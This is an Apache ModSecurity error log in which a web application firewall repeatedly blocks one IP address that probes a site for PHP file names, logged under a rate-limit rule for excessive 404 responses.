[Fri Dec 19 18:50:38.441110 2025] [:error] [pid 20581:tid 20631] [client 52.187.119.223:8841] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aUUt_vxEv7WXNhnFD1likQAAAJA"]
[Fri Dec 19 18:50:38.885339 2025] [:error] [pid 20582:tid 20656] [client 52.187.119.223:8997] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aUUt_spAnrkQKZ4b5gYN2AAAAM4"]
[Fri Dec 19 18:50:39.499512 2025] [:error] [pid 20675:tid 20699] [client 52.187.119.223:8975] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aUUt_7MyJ3XqeDRsbQlrJQAAAQs"]
[Fri Dec 19 18:50:39.987401 2025] [:error] [pid 20675:tid 20704] [client 52.187.119.223:8941] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aUUt_7MyJ3XqeDRsbQlrJwAAARA"]
[Fri Dec 19 18:50:40.875219 2025] [:error] [pid 20580:tid 20596] [client 52.187.119.223:8933] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aUUuAEmd1op_YdAdgR14vAAAAEo"]
[Fri Dec 19 18:50:41.399624 2025] [:error] [pid 20580:tid 20589] [client 52.187.119.223:20020] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aUUuAUmd1op_YdAdgR14vgAAAEM"]
[Fri Dec 19 18:50:41.987440 2025] [:error] [pid 41451:tid 41471] [client 52.187.119.223:8966] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aUUuAQYXFn-DbZghZBGyrwAAABE"]
[Fri Dec 19 18:50:42.622199 2025] [:error] [pid 41451:tid 41472] [client 52.187.119.223:9007] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/al.php"] [unique_id "aUUuAgYXFn-DbZghZBGytAAAABI"]
[Fri Dec 19 18:50:43.224013 2025] [:error] [pid 41451:tid 41459] [client 52.187.119.223:8905] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/al.php"] [unique_id "aUUuAwYXFn-DbZghZBGytgAAAAU"]
[Fri Dec 19 18:50:43.530287 2025] [:error] [pid 41451:tid 41473] [client 52.187.119.223:8920] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/al.php"] [unique_id "aUUuAwYXFn-DbZghZBGytwAAABM"]
[Fri Dec 19 18:50:43.970028 2025] [:error] [pid 20675:tid 20695] [client 52.187.119.223:9005] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/al.php"] [unique_id "aUUuA7MyJ3XqeDRsbQlrLgAAAQc"]
[Fri Dec 19 18:50:44.384517 2025] [:error] [pid 20675:tid 20707] [client 52.187.119.223:9077] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aUUuBLMyJ3XqeDRsbQlrLwAAARM"]
[Fri Dec 19 18:50:44.581530 2025] [:error] [pid 20580:tid 20590] [client 52.187.119.223:8902] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aUUuBEmd1op_YdAdgR14wQAAAEQ"]
[Fri Dec 19 18:50:44.765223 2025] [:error] [pid 20580:tid 20600] [client 52.187.119.223:8878] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aUUuBEmd1op_YdAdgR14wgAAAE4"]
[Fri Dec 19 18:50:45.004399 2025] [:error] [pid 20582:tid 20649] [client 52.187.119.223:8838] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aUUuBcpAnrkQKZ4b5gYN5AAAAMc"]
[Fri Dec 19 18:50:45.195634 2025] [:error] [pid 20580:tid 20608] [client 52.187.119.223:8929] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "aUUuBUmd1op_YdAdgR14xgAAAFY"]
[Fri Dec 19 18:50:45.469901 2025] [:error] [pid 20675:tid 20693] [client 52.187.119.223:8915] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "aUUuBbMyJ3XqeDRsbQlrMAAAAQU"]
[Fri Dec 19 18:50:45.735734 2025] [:error] [pid 20675:tid 20702] [client 52.187.119.223:9080] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "aUUuBbMyJ3XqeDRsbQlrMgAAAQ4"]
[Fri Dec 19 18:50:45.965790 2025] [:error] [pid 41451:tid 41474] [client 52.187.119.223:9049] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "aUUuBQYXFn-DbZghZBGyvgAAABQ"]
[Fri Dec 19 18:50:46.220111 2025] [:error] [pid 20675:tid 20708] [client 52.187.119.223:9109] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aUUuBrMyJ3XqeDRsbQlrMwAAARQ"]
[Fri Dec 19 18:50:46.499713 2025] [:error] [pid 20581:tid 20624] [client 52.187.119.223:9084] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aUUuBvxEv7WXNhnFD1limgAAAIk"]
[Fri Dec 19 18:50:46.901641 2025] [:error] [pid 20675:tid 20694] [client 52.187.119.223:9033] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aUUuBrMyJ3XqeDRsbQlrNAAAAQY"]
[Fri Dec 19 18:50:47.224984 2025] [:error] [pid 20582:tid 20662] [client 52.187.119.223:8928] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aUUuB8pAnrkQKZ4b5gYN6QAAANQ"]
[Fri Dec 19 18:50:47.465981 2025] [:error] [pid 20582:tid 20644] [client 52.187.119.223:8881] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ty.php"] [unique_id "aUUuB8pAnrkQKZ4b5gYN6gAAAMI"]
[Fri Dec 19 18:50:47.738186 2025] [:error] [pid 20675:tid 20704] [client 52.187.119.223:8986] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ty.php"] [unique_id "aUUuB7MyJ3XqeDRsbQlrNgAAARA"]
[Fri Dec 19 18:50:48.112614 2025] [:error] [pid 20675:tid 20705] [client 52.187.119.223:8914] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ty.php"] [unique_id "aUUuCLMyJ3XqeDRsbQlrNwAAARE"]
[Fri Dec 19 18:50:48.449602 2025] [:error] [pid 20675:tid 20703] [client 52.187.119.223:8938] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ty.php"] [unique_id "aUUuCLMyJ3XqeDRsbQlrOAAAAQ8"]
[Fri Dec 19 18:50:49.225409 2025] [:error] [pid 20582:tid 20650] [client 52.187.119.223:8898] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buy.php"] [unique_id "aUUuCcpAnrkQKZ4b5gYN6wAAAMg"]
[Fri Dec 19 18:50:49.652052 2025] [:error] [pid 20582:tid 20657] [client 52.187.119.223:8897] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buy.php"] [unique_id "aUUuCcpAnrkQKZ4b5gYN7QAAAM8"]
[Fri Dec 19 18:50:50.129075 2025] [:error] [pid 20675:tid 20689] [client 52.187.119.223:9066] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buy.php"] [unique_id "aUUuCrMyJ3XqeDRsbQlrOQAAAQE"]
[Fri Dec 19 18:50:50.446258 2025] [:error] [pid 20582:tid 20651] [client 52.187.119.223:8965] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buy.php"] [unique_id "aUUuCspAnrkQKZ4b5gYN8AAAAMk"]
[Fri Dec 19 18:50:50.883545 2025] [:error] [pid 20580:tid 20606] [client 52.187.119.223:9053] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aUUuCkmd1op_YdAdgR14xwAAAFQ"]
[Fri Dec 19 18:50:51.309371 2025] [:error] [pid 20580:tid 20601] [client 52.187.119.223:8934] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aUUuC0md1op_YdAdgR14yAAAAE8"]
[Fri Dec 19 18:50:51.632009 2025] [:error] [pid 20580:tid 20610] [client 52.187.119.223:8936] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aUUuC0md1op_YdAdgR14yQAAAFg"]
[Fri Dec 19 18:50:51.887138 2025] [:error] [pid 20580:tid 20602] [client 52.187.119.223:9057] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aUUuC0md1op_YdAdgR14ygAAAFA"]
[Fri Dec 19 18:50:52.176333 2025] [:error] [pid 41451:tid 41457] [client 52.187.119.223:8973] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c.php"] [unique_id "aUUuDAYXFn-DbZghZBGyywAAAAM"]
[Fri Dec 19 18:50:52.468303 2025] [:error] [pid 20675:tid 20706] [client 52.187.119.223:8860] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c.php"] [unique_id "aUUuDLMyJ3XqeDRsbQlrQgAAARI"]
[Fri Dec 19 18:50:52.896622 2025] [:error] [pid 20580:tid 20594] [client 52.187.119.223:8989] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c.php"] [unique_id "aUUuDEmd1op_YdAdgR14ywAAAEg"]
[Fri Dec 19 18:50:53.461170 2025] [:error] [pid 20580:tid 20593] [client 52.187.119.223:9098] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c.php"] [unique_id "aUUuDUmd1op_YdAdgR14zAAAAEc"]
[Fri Dec 19 18:50:53.967749 2025] [:error] [pid 20580:tid 20589] [client 52.187.119.223:9023] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo.php"] [unique_id "aUUuDUmd1op_YdAdgR14zgAAAEM"]
[Fri Dec 19 18:50:54.561732 2025] [:error] [pid 20580:tid 20586] [client 52.187.119.223:9021] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo.php"] [unique_id "aUUuDkmd1op_YdAdgR140AAAAEA"]
[Fri Dec 19 18:50:55.010111 2025] [:error] [pid 20675:tid 20694] [client 52.187.119.223:8840] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo.php"] [unique_id "aUUuD7MyJ3XqeDRsbQlrRAAAAQY"]
[Fri Dec 19 18:50:55.814381 2025] [:error] [pid 20580:tid 20595] [client 52.187.119.223:9019] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo.php"] [unique_id "aUUuD0md1op_YdAdgR145AAAAEk"]
[Fri Dec 19 18:50:56.362623 2025] [:error] [pid 20580:tid 20600] [client 52.187.119.223:8852] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dlu.php"] [unique_id "aUUuEEmd1op_YdAdgR145gAAAE4"]
[Fri Dec 19 18:50:57.156042 2025] [:error] [pid 41451:tid 41465] [client 52.187.119.223:8837] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dlu.php"] [unique_id "aUUuEQYXFn-DbZghZBGy2AAAAAs"]
[Fri Dec 19 18:50:57.611327 2025] [:error] [pid 20582:tid 20659] [client 52.187.119.223:9086] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dlu.php"] [unique_id "aUUuEcpAnrkQKZ4b5gYN-QAAANE"]
[Fri Dec 19 18:50:57.903926 2025] [:error] [pid 20580:tid 20597] [client 52.187.119.223:8862] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dlu.php"] [unique_id "aUUuEUmd1op_YdAdgR146wAAAEs"]
[Fri Dec 19 18:50:58.213482 2025] [:error] [pid 20675:tid 20706] [client 52.187.119.223:8961] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rk2.php"] [unique_id "aUUuErMyJ3XqeDRsbQlrUgAAARI"]
[Fri Dec 19 18:50:58.556835 2025] [:error] [pid 20675:tid 20702] [client 52.187.119.223:9024] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rk2.php"] [unique_id "aUUuErMyJ3XqeDRsbQlrUwAAAQ4"]
[Fri Dec 19 18:50:58.956068 2025] [:error] [pid 41451:tid 41477] [client 52.187.119.223:8912] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rk2.php"] [unique_id "aUUuEgYXFn-DbZghZBGy2gAAABc"]
[Fri Dec 19 18:51:15.597748 2025] [:error] [pid 20582:tid 20664] [client 52.187.119.223:8945] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/des.php"] [unique_id "aUUuI8pAnrkQKZ4b5gYOGwAAANY"]
[Fri Dec 19 18:51:16.602884 2025] [:error] [pid 20581:tid 20638] [client 52.187.119.223:8871] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/des.php"] [unique_id "aUUuJPxEv7WXNhnFD1liyAAAAJc"]
[Fri Dec 19 18:51:17.024766 2025] [:error] [pid 20675:tid 20690] [client 52.187.119.223:8794] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/des.php"] [unique_id "aUUuJbMyJ3XqeDRsbQlrfwAAAQI"]
[Fri Dec 19 18:51:17.486865 2025] [:error] [pid 20675:tid 20708] [client 52.187.119.223:9016] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/des.php"] [unique_id "aUUuJbMyJ3XqeDRsbQlrggAAARQ"]
[Fri Dec 19 18:51:17.834748 2025] [:error] [pid 20675:tid 20705] [client 52.187.119.223:9010] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ant.php"] [unique_id "aUUuJbMyJ3XqeDRsbQlrhgAAARE"]
[Fri Dec 19 18:51:18.147010 2025] [:error] [pid 20581:tid 20615] [client 52.187.119.223:8855] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ant.php"] [unique_id "aUUuJvxEv7WXNhnFD1liygAAAIA"]
[Fri Dec 19 18:51:18.438450 2025] [:error] [pid 20580:tid 20607] [client 52.187.119.223:9004] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ant.php"] [unique_id "aUUuJkmd1op_YdAdgR15JwAAAFU"]
